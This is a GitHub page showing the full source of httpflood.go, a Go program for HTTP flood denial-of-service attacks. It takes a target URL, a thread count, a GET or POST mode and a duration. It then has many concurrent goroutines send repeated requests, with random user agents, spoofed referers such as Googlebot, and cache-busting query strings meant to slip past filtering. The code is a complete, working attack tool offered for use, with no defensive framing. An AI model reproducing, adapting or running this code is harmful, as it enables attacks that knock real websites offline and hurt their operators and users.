-
Notifications
You must be signed in to change notification settings - Fork 275
/
httpflood.go
278 lines (267 loc) · 9.85 KB
/
httpflood.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
/*
Coded by LeeOn123
Please fking code ur script by ur self, kid.
I changed the random integers range to the max of int32.
Now 386 systems should work well.
Looks like most people want to hit the url but not the host/ip.
As a result, here you are.
*/
package main
import (
"bufio"
"crypto/tls"
"fmt"
"io"
"math/rand"
"net"
"net/url"
"os"
"strconv"
"strings"
"time"
)
var (
host = ""
port = "80"
page = ""
mode = ""
abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM"
start = make(chan bool)
acceptall = []string{
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
"Accept-Encoding: gzip, deflate\r\n",
"Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
"Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
"Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
"Accept: text/html, application/xhtml+xml",
"Accept-Language: en-US,en;q=0.5\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n"}
key string
choice = []string{"Macintosh", "Windows", "X11"}
choice2 = []string{"68K", "PPC", "Intel Mac OS X"}
choice3 = []string{"Win3.11", "WinNT3.51", "WinNT4.0", "Windows NT 5.0", "Windows NT 5.1", "Windows NT 5.2", "Windows NT 6.0", "Windows NT 6.1", "Windows NT 6.2", "Win 9x 4.90", "WindowsCE", "Windows XP", "Windows 7", "Windows 8", "Windows NT 10.0; Win64; x64"}
choice4 = []string{"Linux i686", "Linux x86_64"}
choice5 = []string{"chrome", "spider", "ie"}
choice6 = []string{".NET CLR", "SV1", "Tablet PC", "Win64; IA64", "Win64; x64", "WOW64"}
spider = []string{
"AdsBot-Google ( http://www.google.com/adsbot.html)",
"Baiduspider ( http://www.baidu.com/search/spider.htm)",
"FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)",
"Googlebot/2.1 ( http://www.googlebot.com/bot.html)",
"Googlebot-Image/1.0",
"Googlebot-News",
"Googlebot-Video/1.0",
}
referers = []string{
"https://www.google.com/search?q=",
"https://check-host.net/",
"https://www.facebook.com/",
"https://www.youtube.com/",
"https://www.fbi.com/",
"https://www.bing.com/search?q=",
"https://r.search.yahoo.com/",
"https://www.cia.gov/index.html",
"https://vk.com/profile.php?auto=",
"https://www.usatoday.com/search/results?q=",
"https://help.baidu.com/searchResult?keywords=",
"https://steamcommunity.com/market/search?q=",
"https://www.ted.com/search?q=",
"https://play.google.com/store/search?q=",
}
)
func init() {
rand.Seed(time.Now().UnixNano()) //fixed seed problem
}
func getuseragent() string {
platform := choice[rand.Intn(len(choice))]
var os string
if platform == "Macintosh" {
os = choice2[rand.Intn(len(choice2)-1)]
} else if platform == "Windows" {
os = choice3[rand.Intn(len(choice3)-1)]
} else if platform == "X11" {
os = choice4[rand.Intn(len(choice4)-1)]
}
browser := choice5[rand.Intn(len(choice5)-1)]
if browser == "chrome" {
webkit := strconv.Itoa(rand.Intn(599-500) + 500)
uwu := strconv.Itoa(rand.Intn(99)) + ".0" + strconv.Itoa(rand.Intn(9999)) + "." + strconv.Itoa(rand.Intn(999))
return "Mozilla/5.0 (" + os + ") AppleWebKit/" + webkit + ".0 (KHTML, like Gecko) Chrome/" + uwu + " Safari/" + webkit
} else if browser == "ie" {
uwu := strconv.Itoa(rand.Intn(99)) + ".0"
engine := strconv.Itoa(rand.Intn(99)) + ".0"
option := rand.Intn(1)
var token string
if option == 1 {
token = choice6[rand.Intn(len(choice6)-1)] + "; "
} else {
token = ""
}
return "Mozilla/5.0 (compatible; MSIE " + uwu + "; " + os + "; " + token + "Trident/" + engine + ")"
}
return spider[rand.Intn(len(spider))]
}
func contain(char string, x string) int { //simple compare
times := 0
ans := 0
for i := 0; i < len(char); i++ {
if char[times] == x[0] {
ans = 1
}
times++
}
return ans
}
func flood() {
addr := host + ":" + port
header := ""
if mode == "get" {
header += " HTTP/1.1\r\nHost: "
header += addr + "\r\n"
if os.Args[5] == "nil" {
header += "Connection: Keep-Alive\r\nCache-Control: max-age=0\r\n"
header += "User-Agent: " + getuseragent() + "\r\n"
header += acceptall[rand.Intn(len(acceptall))]
header += referers[rand.Intn(len(referers))] + "\r\n"
} else {
func() {
fi, err := os.Open(os.Args[5])
if err != nil {
fmt.Printf("Error: %s\n", err)
return
}
defer fi.Close()
br := bufio.NewReader(fi)
for {
a, _, c := br.ReadLine()
if c == io.EOF {
break
}
header += string(a) + "\r\n"
}
}()
}
} else if mode == "post" {
data := ""
if os.Args[5] != "nil" {
func() {
fi, err := os.Open(os.Args[5])
if err != nil {
fmt.Printf("Error: %s\n", err)
return
}
defer fi.Close()
br := bufio.NewReader(fi)
for {
a, _, c := br.ReadLine()
if c == io.EOF {
break
}
header += string(a) + "\r\n"
}
}()
} else {
data = "f"
}
header += "POST " + page + " HTTP/1.1\r\nHost: " + addr + "\r\n"
header += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n"
header += "Accept-Encoding: gzip, deflate\r\n\n" + data + "\r\n"
}
var s net.Conn
var err error
<-start //received signal
for {
if port == "443" {
cfg := &tls.Config{
InsecureSkipVerify: true,
ServerName: host, //simple fix
}
s, err = tls.Dial("tcp", addr, cfg)
} else {
s, err = net.Dial("tcp", addr)
}
if err != nil {
fmt.Println("Connection Down!!!") //When showing this message, it means ur ip got blocked or the target server down.
} else {
for i := 0; i < 100; i++ {
request := ""
if os.Args[3] == "get" {
request += "GET " + page + key
request += strconv.Itoa(rand.Intn(2147483647)) + string(string(abcd[rand.Intn(len(abcd))])) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))])
}
request += header + "\r\n"
s.Write([]byte(request))
}
s.Close()
}
//fmt.Println("Threads@", threads, " Hitting Target -->", url)// For those who like share to skid.
}
}
func main() {
fmt.Println("\r\n'|| ||` || || '||''''| '||` ||` ")
fmt.Println(" || || || || || . || || ")
fmt.Println(" ||''|| ''||'' ''||'' '||''|, --- ||''| || .|''|, .|''|, .|''|| ")
fmt.Println(" || || || || || || || || || || || || || || ")
fmt.Println(".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. ")
fmt.Println(" || ")
fmt.Println(" .|| Golang version 2.0 ")
fmt.Println(" C0d3d By L330n123")
fmt.Println("==========================================================================")
if len(os.Args) != 6 {
fmt.Println("Post Mode will use header.txt as data")
fmt.Println("If you are using linux please run 'ulimit -n 999999' first!!!")
fmt.Println("Usage: ", os.Args[0], "<url> <threads> <get/post> <seconds> <header.txt/nil>")
os.Exit(1)
}
u, err := url.Parse(os.Args[1])
if err != nil {
println("Please input a correct url")
}
tmp := strings.Split(u.Host, ":")
host = tmp[0]
if u.Scheme == "https" {
port = "443"
} else {
port = u.Port()
}
if port == "" {
port = "80"
}
page = u.Path
if os.Args[3] != "get" && os.Args[3] != "post" {
println("Wrong mode, Only can use \"get\" or \"post\"")
return
}
mode = os.Args[3]
threads, err := strconv.Atoi(os.Args[2])
if err != nil {
fmt.Println("Threads should be a integer")
}
limit, err := strconv.Atoi(os.Args[4])
if err != nil {
fmt.Println("limit should be a integer")
}
if contain(page, "?") == 0 {
key = "?"
} else {
key = "&"
}
for i := 0; i < threads; i++ {
time.Sleep(time.Microsecond * 100)
go flood() // Start threads
fmt.Printf("\rThreads [%.0f] are ready", float64(i+1))
os.Stdout.Sync()
//time.Sleep( time.Millisecond * 1)
}
fmt.Println("Flood will end in " + os.Args[4] + " seconds.")
close(start)
time.Sleep(time.Duration(limit) * time.Second)
//Keep the threads continue
}